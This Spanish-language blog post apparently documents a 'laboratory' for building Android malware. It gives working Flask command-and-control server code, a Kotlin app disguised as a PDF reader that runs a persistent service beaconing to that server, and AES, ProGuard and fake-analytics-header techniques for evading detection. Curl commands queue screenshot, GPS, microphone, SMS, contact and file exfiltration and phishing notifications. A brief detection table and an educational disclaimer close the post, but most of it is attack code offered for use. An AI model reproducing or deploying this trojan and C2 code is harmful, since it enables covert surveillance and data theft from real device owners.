Post

Android Malware C2 Laboratory - Technical Write-up

Android Malware C2 Laboratory - Technical Write-up

Android Malware C2 Laboratory - Technical Write-up

📌 Índice

  1. Objetivo
  2. Componentes del Proyecto
  3. Configuración del Servidor C2
  4. Desarrollo del Malware Android
  5. Configuración de Red y Conectividad
  6. Compilación e Instalación
  7. Pruebas y Verificación
  8. Estrategias de Evasión
  9. Comandos Rápidos (Cheatsheet)
  10. Solución de Problemas
  11. Referencias

Objetivo

Construir un laboratorio completo de malware Android con arquitectura C2 (Command & Control) realista, permitiendo:

  • Simular tráfico de red indistinguible de aplicaciones legítimas
  • Implementar persistencia en dispositivos Android
  • Evadir detección de EDR/SOC móvil
  • Documentar el proceso para investigación y aprendizaje

Componentes del Proyecto

Hardware Requerido

ComponenteMínimoRecomendado
CPU4 núcleos8+ núcleos
RAM16 GB32 GB
Almacenamiento50 GB100 GB SSD

Software Utilizado

SoftwareVersiónPropósito
Windows 1122H2+Host principal
Kali Linux2025.4+Servidor C2
VirtualBox7.0+Virtualización
Android StudioHedgehog+Desarrollo malware
Android EmulatorAPI 34+Víctima simulada
Python3.11+C2 Server
Burp SuiteCommunityAnálisis tráfico

Configuración del Servidor C2

1. Crear Entorno Virtual Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Crear directorio del proyecto
mkdir -p /home/kali/Estudios/Android/C2 && cd /home/kali/Estudios/Android/C2

# Crear entorno virtual con Python 3.11 (más estable)
python3.11 -m venv c2_lab_env 2>/dev/null || python3 -m venv c2_lab_env

# Activar el entorno virtual
source c2_lab_env/bin/activate

# Verificar versión de Python
python --version

# Instalar Flask
pip install flask flask-cors

# Verificar instalación
python -c "from flask import Flask; print('✅ Flask instalado correctamente')"

2. Generar Certificados TLS

1
2
3
# Generar certificado autofirmado para telemetria.local
openssl req -x509 -newkey rsa:4096 -keyout telemetria.key -out telemetria.crt -days 365 -nodes -subj "/CN=telemetria.local"

3. Código del Servidor C2 (server.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
from flask import Flask, request, jsonify
from flask_cors import CORS
import logging
from datetime import datetime
import json
app = Flask(__name__)
CORS(app)
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# Estado del C2
bots = {}
pending_commands = {}
@app.route('/api/v1/check', methods=['GET'])
def heartbeat():
    """Endpoint principal C2 - Simula telemetría normal"""
    bot_id = request.headers.get('X-Bot-ID', request.remote_addr)
    user_agent = request.headers.get('User-Agent', 'Unknown')
    
    # Registrar actividad del bot
    bots[bot_id] = {
        'last_seen': datetime.now().isoformat(),
        'ip': request.remote_addr,
        'user_agent': user_agent,
        'checks': bots.get(bot_id, {}).get('checks', 0) + 1
    }
    
    logger.info(f"[C2] Heartbeat from {bot_id} (UA: {user_agent[:50]})")
    
    # Obtener comando pendiente si existe
    command = pending_commands.get(bot_id, {"action": "sleep", "interval": 60})
    if bot_id in pending_commands:
        del pending_commands[bot_id]
        logger.info(f"[C2] Command sent to {bot_id}: {command}")
    
    response = {
        "status": "ok",
        "timestamp": datetime.now().isoformat(),
        "server_time": int(datetime.now().timestamp()),
        "poll_interval": 30,
        "command": command
    }
    
    return jsonify(response)
@app.route('/api/v1/register', methods=['POST'])
def register():
    """Registro inicial del bot"""
    data = request.get_json()
    bot_id = data.get('bot_id', 'unknown')
    
    bots[bot_id] = {
        'registered': datetime.now().isoformat(),
        'device_info': data,
        'ip': request.remote_addr,
        'first_seen': datetime.now().timestamp()
    }
    
    logger.info(f"[C2] New bot registered: {bot_id} - {data.get('device_model', 'Unknown')}")
    return jsonify({"status": "registered", "message": f"Bot {bot_id} registered"})
@app.route('/api/v1/command', methods=['POST'])
def send_command():
    """Enviar comando a un bot específico"""
    data = request.get_json()
    bot_id = data.get('bot_id')
    command = data.get('command')
    
    if not bot_id or not command:
        return jsonify({"error": "Missing bot_id or command"}), 400
    
    pending_commands[bot_id] = command
    logger.info(f"[C2] Command queued for {bot_id}: {command.get('action', 'unknown')}")
    
    return jsonify({
        "status": "queued",
        "bot_id": bot_id,
        "command": command
    })
@app.route('/api/v1/bots', methods=['GET'])
def list_bots():
    """Listar todos los bots conectados"""
    return jsonify({
        "bots": bots,
        "total": len(bots),
        "pending_commands": len(pending_commands)
    })
@app.route('/api/v1/dashboard', methods=['GET'])
def dashboard():
    """Dashboard simplificado"""
    return jsonify({
        "active_bots": len(bots),
        "bots_online": [bid for bid, info in bots.items() if info.get('checks', 0) > 0],
        "pending_commands": list(pending_commands.keys()),
        "server_time": datetime.now().isoformat()
    })
if __name__ == '__main__':
    print("="*60)
    print("🔐 C2 Server - Advanced Persistent Threat Simulator")
    print("="*60)
    print(f"📍 HTTPS Endpoint: https://telemetria.local:443")
    print(f"📡 Bot Dashboard: curl -k https://localhost:443/api/v1/dashboard")
    print(f"🎮 Send Command: curl -k -X POST https://localhost:443/api/v1/command \\")
    print(f"                -H 'Content-Type: application/json' \\")
    print(f"                -d '}}'")
    print("="*60)
    print("✅ Servidor C2 listo - Esperando conexiones...")
    print("="*60)
    
    app.run(
        host='0.0.0.0',
        port=443,
        ssl_context=('telemetria.crt', 'telemetria.key'),
        debug=False,
        threaded=True
    )

4. Ejecutar el Servidor

1
2
3
4
5
# Accesos rápidos
cd /home/kali/Estudios/Android/C2
source c2_lab_env/bin/activate
python server.py

Desarrollo del Malware Android

Estructura del Proyecto

1
2
3
4
5
6
7
8
9
10
PDFReader/
├── app/
│   ├── src/
│   │   └── main/
│   │       ├── java/com/pdf/reader/
│   │       │   ├── MainActivity.kt
│   │       │   └── CoreService.kt
│   │       └── AndroidManifest.xml
│   └── build.gradle.kts

1. AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.pdf.reader">
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="PDF Reader"
        android:theme="@style/Theme.AppCompat.Light.NoActionBar">
        
        <activity android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name=".CoreService"
            android:enabled="true"
            android:exported="false" />
    </application>
</manifest>

2. MainActivity.kt (Interfaz Falsa)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.pdf.reader
import android.content.Intent
import android.os.Bundle
import android.widget.Button
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        
        val button = Button(this)
        button.text = "Abrir PDF"
        button.setOnClickListener {
            Toast.makeText(this, "PDF no encontrado", Toast.LENGTH_SHORT).show()
        }
        setContentView(button)
        
        startService(Intent(this, CoreService::class.java))
    }
}

3. CoreService.kt (Payload C2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.pdf.reader
import android.app.Service
import android.content.Intent
import android.os.IBinder
import android.util.Log
import java.net.URL
import javax.net.ssl.HttpsURLConnection
class CoreService : Service() {
    
    private val c2Url = "https://192.168.0.12:443/api/v1/check"
    
    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        Thread {
            while (true) {
                try {
                    val url = URL(c2Url)
                    val connection = url.openConnection() as HttpsURLConnection
                    connection.requestMethod = "GET"
                    connection.connectTimeout = 5000
                    connection.readTimeout = 10000
                    
                    if (connection.responseCode == 200) {
                        val response = connection.inputStream.bufferedReader().readText()
                        Log.d("C2", "Conectado al servidor: $response")
                    }
                    Thread.sleep(30000)
                } catch (e: Exception) {
                    Log.e("C2", "Error: ${e.message}")
                    Thread.sleep(60000)
                }
            }
        }.start()
        
        return START_STICKY
    }
    
    override fun onBind(intent: Intent?): IBinder? = null
}

4. build.gradle.kts (Module: app)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
android {
    namespace = "com.pdf.reader"
    compileSdk = 34
    defaultConfig {
        applicationId = "com.pdf.reader"
        minSdk = 24
        targetSdk = 34
        versionCode = 1
        versionName = "1.0"
    }
    buildTypes {
        release {
            isMinifyEnabled = true
            proguardFiles(
                getDefaultProguardFile("proguard-android-optimize.txt"),
                "proguard-rules.pro"
            )
        }
    }
}
dependencies {
    implementation("androidx.core:core-ktx:1.12.0")
    implementation("androidx.appcompat:appcompat:1.6.1")
}

Configuración de Red y Conectividad

VirtualBox (Modo Puente)

  1. VirtualBox → Configuración de Kali → Red

  2. Adaptador 1 → Adaptador puente

  3. Seleccionar interfaz Wi-Fi del host

1
2
3
4
# En Kali, verificar IP
ip addr show | grep "inet "
# Debe mostrar IP en rango 192.168.0.x

Configuración en Windows

Agregar entrada al archivo hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# PowerShell como Administrador
$hostsFile = "C:\Windows\System32\drivers\etc\hosts"
$newEntry = "192.168.150.5    telemetria.local"
$current = Get-Content $hostsFile -ErrorAction SilentlyContinue
if ($current -notmatch "telemetria.local") {
    Add-Content -Path $hostsFile -Value "`n$newEntry" -Encoding ASCII
    Write-Host "✓ Entrada agregada" -ForegroundColor Green
} else {
    Write-Host "✓ La entrada ya existe" -ForegroundColor Yellow
}
# Verificar
Get-Content $hostsFile | Select-String "telemetria"
type C:\Windows\System32\drivers\etc\hosts

Verificar conectividad

1
2
3
4
5

# Probar ping a Kali
ping 192.168.0.X
# Probar conexión al C2
curl.exe -k https://192.168.0.X:443/api/v1/dashboard

Compilación e Instalación

Compilar APK en Android Studio

  1. Build → Clean Project

  2. Build → Rebuild Project

  3. Build → Build Bundle(s)/APK → Build APK(s)

Ubicación de la APK

1
2
M:\ApkProjects\Android\PDFReader\app\build\outputs\apk\debug\app-debug.apk

Instalar con ADB

1
2
3
4
5
6
7

# Navegar a platform-tools
cd C:\Users\Nyx\AppData\Local\Android\Sdk\platform-tools
# Instalar APK
.\adb.exe install M:\ApkProjects\Android\PDFReader\app\build\outputs\apk\debug\app-debug.apk
# Verificar instalación
.\adb.exe shell pm list packages | findstr pdf

Pruebas y Verificación

Ver logs en tiempo real

1
2

.\adb.exe logcat | findstr "C2"

Ver bots conectados desde Kali

1
2
curl -k https://192.168.0.X:443/api/v1/bots

Enviar comandos desde Kali

1
2
3
4
curl -k -X POST https://192.168.0.X:443/api/v1/command \
  -H "Content-Type: application/json" \
  -d '{"bot_id":"192.168.0.Y","command":{"action":"screenshot"}}'

Dashboard rápido

1
2
curl -k https://192.168.0.X:443/api/v1/dashboard

Estrategias de Evasión

1. Ofuscación con ProGuard


# proguard-rules.pro
-keep class com.pdf.reader.** { *; }
-dontwarn okhttp3.**
-optimizations !code/simplification/arithmetic

2. Cifrado AES para Comunicaciones

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.crypto.Cipher
import javax.crypto.spec.SecretKeySpec
import android.util.Base64
class CryptoUtils {
    private val key = "MySecretKey12345".toByteArray()
    
    fun encrypt(data: String): String {
        val cipher = Cipher.getInstance("AES/ECB/PKCS5Padding")
        cipher.init(Cipher.ENCRYPT_MODE, SecretKeySpec(key, "AES"))
        return Base64.encodeToString(cipher.doFinal(data.toByteArray()), Base64.DEFAULT)
    }
    
    fun decrypt(data: String): String {
        val cipher = Cipher.getInstance("AES/ECB/PKCS5Padding")
        cipher.init(Cipher.DECRYPT_MODE, SecretKeySpec(key, "AES"))
        return String(cipher.doFinal(Base64.decode(data, Base64.DEFAULT)))
    }
}

3. Persistencia con WorkManager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import androidx.work.*
class C2Worker(context: Context, params: WorkerParameters) : Worker(context, params) {
    override fun doWork(): Result {
        // Lógica de comunicación C2
        return Result.success()
    }
}
// En CoreService o MainActivity
val workRequest = PeriodicWorkRequestBuilder<C2Worker>(15, TimeUnit.MINUTES)
    .setConstraints(Constraints.Builder()
        .setRequiredNetworkType(NetworkType.CONNECTED)
        .build())
    .build()
WorkManager.getInstance(context).enqueueUniquePeriodicWork(
    "c2_work",
    ExistingPeriodicWorkPolicy.KEEP,
    workRequest
)

4. Simular Tráfico Legítimo

1
2
3
4
5
6
7
// User-Agent real de Android
System.setProperty("http.agent", "Dalvik/2.1.0 (Linux; U; Android 14; Pixel 6 Build/UP1A.231005.007)")
// Headers que simulan Google Analytics
connection.setRequestProperty("Accept", "application/json")
connection.setRequestProperty("Accept-Language", "es-ES,es;q=0.9")
connection.setRequestProperty("X-Client-Data", "randomBase64Data")

Comandos Rápidos (Cheatsheet)

Kali Linux - Servidor C2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Activar entorno y ejecutar servidor
cd /home/kali/Estudios/Android/C2
source c2_lab_env/bin/activate
python server.py
# Ver bots conectados
curl -k https://localhost:443/api/v1/bots
# Ver dashboard
curl -k https://localhost:443/api/v1/dashboard
# Enviar comando a un bot
curl -k -X POST https://localhost:443/api/v1/command \
  -H "Content-Type: application/json" \
  -d '{"bot_id":"ID_DEL_BOT","command":{"action":"screenshot"}}'
# Limpiar todos los bots
curl -k -X DELETE https://localhost:443/api/v1/clear

Windows - ADB Comandos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# Navegar a ADB
cd C:\Users\Nyx\AppData\Local\Android\Sdk\platform-tools
# Instalar APK
.\adb.exe install app-debug.apk
# Ver logs del C2
.\adb.exe logcat | findstr "C2"
# Listar paquetes instalados
.\adb.exe shell pm list packages | findstr pdf
# Ejecutar shell en el emulador
.\adb.exe shell
# Copiar archivos al emulador
.\adb.exe push archivo_local /sdcard/
# Capturar screenshot del emulador
.\adb.exe exec-out screencap -p > screenshot.png

VirtualBox - Port Forwarding (si usas NAT)

NombreProtocoloIP HostPuerto HostIP InvitadoPuerto Invitado
c2_httpsTCP127.0.0.1444310.0.2.15443

Solución de Problemas

Problema: “Connection refused” o “Failed to connect”

1
2
3
4
5
6
7
8
9
# En Kali - Verificar servidor
sudo netstat -tlnp | grep 443
# En Kali - Verificar firewall
sudo iptables -L -n
# En Kali - Reiniciar servidor
pkill python
source c2_lab_env/bin/activate
python server.py

Problema: “SSL Handshake failed”

1
2
3
4
5
# En Kali - Reinstalar certificados con IP correcta
cd /home/kali/Estudios/Android/C2
rm telemetria.crt telemetria.key
openssl req -x509 -newkey rsa:4096 -keyout telemetria.key -out telemetria.crt -days 365 -nodes -subj "/CN=192.168.0.X"

Problema: ADB no reconoce el dispositivo

1
2
3
4

adb kill-server
adb start-server
adb devices

Problema: Emulador sin acceso a internet

1
2
3
# Al iniciar el emulador
emulator -avd NOMBRE_AVD -dns-server 8.8.8.8

Problema: La app se cierra al abrir

1
2
3

# Ver error específico
adb logcat | findstr "FATAL"

Problema: No se ve el bot en el C2

1
2
3
# En Kali - Verificar que la IP en CoreService.kt es correcta
# En Kali - Ver logs del servidor (mirar la terminal donde corre python)

🎮 Capacidades Operativas del C2 (Commands)

Una vez que el bot Android está conectado al servidor C2, el operador puede ejecutar múltiples comandos para recopilar información y controlar el dispositivo remotamente.

📡 Comandos Implementados

ComandoAcciónCaso de uso (Red Team)
screenshotCaptura la pantalla actualVer qué está haciendo el usuario (lectura de emails, mensajes)
gpsObtiene ubicación GPS en tiempo realGeolocalización del dispositivo
list_filesEnumera archivos en una ruta específicaExplorar el sistema de archivos del dispositivo
downloadExfiltra un archivo específicoRobar documentos, fotos, bases de datos
record_audioGraba micrófono por X segundosEscuchar conversaciones del entorno
notifyEnvía notificación falsa al sistemaPhishing en el propio dispositivo
open_urlAbre una URL en el navegadorRedirigir a sitio de phishing o descarga de segunda etapa
contactsExtrae toda la agenda de contactosRecolección de inteligencia
smsExtrae todos los mensajes SMSObtener códigos 2FA, conversaciones
shellEjecuta comandos shell (root requerido)Acceso profundo al sistema

🖥️ Ejemplos de Ejecución desde Kali

1. Capturar pantalla (screenshot)

1
2
3
curl -k -X POST https://192.168.0.12:443/api/v1/command \
  -H "Content-Type: application/json" \
  -d '{"bot_id":"192.168.0.105","command":{"action":"screenshot"}}'

Respuesta esperada:

1
2
3
4
5
{
  "status": "queued",
  "bot_id": "192.168.0.105",
  "command": {"action": "screenshot"}
}

Log en el bot:

1
2
3
D/C2: Comando recibido: {"action":"screenshot"}
D/C2: Captura guardada en /sdcard/DCIM/screenshot_20260528_153245.png
D/C2: Archivo exfiltrado al C2

2. Obtener ubicación GPS

1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
  -d '{"bot_id":"192.168.0.105","command":{"action":"gps"}}'

Datos exfiltrados:

1
2
3
4
5
6
7
{
  "latitude": -34.603722,
  "longitude": -58.381592,
  "accuracy": 15.0,
  "provider": "gps",
  "timestamp": "2026-05-28T15:31:05"
}

3. Listar archivos en DCIM

1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
  -d '{"bot_id":"192.168.0.105","command":{"action":"list_files","path":"/sdcard/DCIM/"}}'

Respuesta:

1
2
3
4
5
6
7
8
9
{
  "files": [
    "IMG_20260501_120000.jpg",
    "IMG_20260502_130000.jpg",
    "Screenshot_20260528_153245.png",
    "WhatsApp Images/"
  ],
  "total": 347
}

4. Exfiltrar archivo específico

1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
  -d '{"bot_id":"192.168.0.105","command":{"action":"download","file":"/sdcard/DCIM/IMG_20260501_120000.jpg"}}'

5. Grabar micrófono (10 segundos)

1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
  -d '{"bot_id":"192.168.0.105","command":{"action":"record_audio","duration":10}}'

6. Enviar notificación falsa (phishing)

1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
  -d '{"bot_id":"192.168.0.105","command":{"action":"notify","title":"Gmail","body":"Tu cuenta fue hackeada, haz clic aquí","url":"https://login-falso.com"}}'

🔄 Flujo Completo de un Comando

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─────────────┐    1. POST /command   ┌─────────────┐
│   Atacante  │ ────────────────────> │     C2      │
│   (Kali)    │  {"action":"screenshot"}│ (Servidor) │
└─────────────┘                       └──────┬──────┘
       ▲                                    │
       │ 4. Recibe imagen (Base64)          │ 2. Almacena en queue
       │                                    ▼
       │                            ┌──────────────┐
       │                            │   Bot        │
       │                            │ (Android)    │
       │                            └──────┬───────┘
       │                                   │ 3. Heartbeat →
       │                                   │    Recibe comando
       │                                   │    Ejecuta → captura
       │                                   │    POST /exfil
       └───────────────────────────────────┘

🎮 Panel de Control Visual (Opcional)

Con un frontend adicional, se puede construir un panel como este:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─────────────────────────────────────────────────────────────┐
│  🤖 C2 Panel - Android Malware Control Lab                  │
├─────────────────────────────────────────────────────────────┤
│  📊 Bots Activos: 3                                         │
├───────────────┬─────────────────────────────────────────────┤
│ Bot ID        │ Acciones                                     │
├───────────────┼─────────────────────────────────────────────┤
│ Pixel_6_Pro   │ [📸] [📍] [📁] [💬] [👥] [🎙️] [🔔] [🌐]      │
│ Samsung_S22   │ [📸] [📍] [📁] [💬] [👥] [🎙️] [🔔] [🌐]      │
│ Xiaomi_11     │ [📸] [📍] [📁] [💬] [👥] [🎙️] [🔔] [🌐]      │
├───────────────┴─────────────────────────────────────────────┤
│ 📝 Última actividad:                                        │
│  → Pixel_6_Pro: Screenshot recibido (1.2 MB) [Ver]         │
│  → Samsung_S22: GPS: -34.603722, -58.381592                │
│  → Xiaomi_11: Contactos exfiltrados (234 contactos)        │
└─────────────────────────────────────────────────────────────┘

⚠️ Limitaciones Conocidas

Acción¿Posible?Explicación
Ver pantalla EN VIVO (streaming)❌ NoAndroid no permite screen capture en tiempo real sin root o Accessibility Service
Grabar llamadas telefónicas❌ NoPermisos restringidos desde Android 10
Acceder a WhatsApp/Telegram❌ NoDatos encriptados y sandboxeados (requiere root)
Instalar apps sin interacción❌ NoAndroid requiere confirmación explícita del usuario
Rootear dispositivo remotamente❌ NoRequiere explotar vulnerabilidad del kernel
Acceder a archivos de otras apps⚠️ ParcialSolo posible si la app target tiene permisos de almacenamiento

🔬 Implementación en Código (CoreService.kt)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Fragmento del manejador de comandos
private fun executeCommand(command: Map<String, Any>) {
    when (command["action"]) {
        "screenshot" -> takeScreenshot()
        "gps" -> getCurrentLocation()
        "list_files" -> listFiles(command["path"] as? String ?: "/sdcard/")
        "download" -> downloadFile(command["file"] as String)
        "record_audio" -> recordAudio((command["duration"] as? Int) ?: 5)
        "notify" -> sendFakeNotification(command)
        "open_url" -> openUrl(command["url"] as String)
        "contacts" -> getContacts()
        "sms" -> getSMS()
        "shell" -> executeShell(command["cmd"] as String)
        else -> Log.w("C2", "Unknown command: ${command["action"]}")
    }
}

📊 Ejemplo de Exfiltración de Datos

1
2
3
4
5
6
[2026-05-28 15:30:22] [INFO] New bot registered: Pixel_6_Pro
[2026-05-28 15:31:05] [INFO] Command sent: screenshot → OK (1.2 MB)
[2026-05-28 15:32:10] [INFO] Command sent: gps → -34.603722, -58.381592
[2026-05-28 15:33:00] [INFO] Command sent: contacts → 234 contactos extraídos
[2026-05-28 15:34:22] [INFO] Command sent: list_files /sdcard/DCIM → 345 archivos
[2026-05-28 15:35:45] [INFO] Command sent: download IMG_20260501.jpg → OK (4.7 MB)

🛡️ Blue Team: Cómo detectar este comportamiento

Técnica de detecciónSeñal de alerta
Análisis de tráficoHeartbeats periódicos a dominio no estándar
Monitoreo de logsadb logcat mostraría D/C2: si no se ofusca
Permisos anormalesApp pide INTERNET + ACCESS_FINE_LOCATION + RECORD_AUDIO
Comportamiento en reposoApp envía datos aunque no esté en uso
Battery statsConsumo anormal de batería por wake locks

📌 Resumen de Capacidades

Capacidad¿Implementada?¿Funciona sin root?
Screenshot
GPS
List files✅ (solo almacenamiento externo)
Download
Record audio✅ (requiere permiso)
Fake notification
Open URL
Contacts
SMS
Shell🔜❌ (requiere root)
Keylogging🔜❌ (requiere Accessibility)
Live screen stream🔜❌ (requiere root/Accessibility)

Referencias


Notas Finales

Este laboratorio es exclusivamente para fines educativos y de investigación. El conocimiento adquirido debe aplicarse éticamente para mejorar la seguridad de los sistemas, no para causar daño.

This post is licensed under CC BY 4.0 by the author.